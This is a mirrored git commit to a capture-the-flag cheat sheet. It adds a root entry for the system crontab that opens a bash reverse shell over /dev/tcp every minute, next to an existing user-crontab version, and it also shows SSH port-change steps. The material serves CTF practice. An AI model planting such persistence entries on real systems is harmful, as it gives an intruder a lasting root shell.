mirror of
https://github.com/AbdullahRizwan101/CTF-Writeups
synced 2024-11-10 06:34:17 +00:00
Update Cheat Sheet.md
This commit is contained in:
parent
b2c4decfa6
commit
12652d6d5b
1 changed files with 5 additions and 0 deletions
|
@ -310,6 +310,11 @@ If there is a port 53 open on the machine you could do a zone transfer to get in
|
|||
```
|
||||
*/1 * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/2222 0>&1'
|
||||
```
|
||||
Or you can add in system wide contab (nano /etc/crontab)
|
||||
|
||||
```
|
||||
*/1 * * * * root /bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/2222 0>&1'
|
||||
```
|
||||
### Change SSH port
|
||||
`nano /etc/ssh/sshd_config` (change PORT 22 to any port you want also you can tinker with configuration file)
|
||||
`service sshd restart` (Restart SSH service to apply changes)
|
||||
|
|
Loading…
Reference in a new issue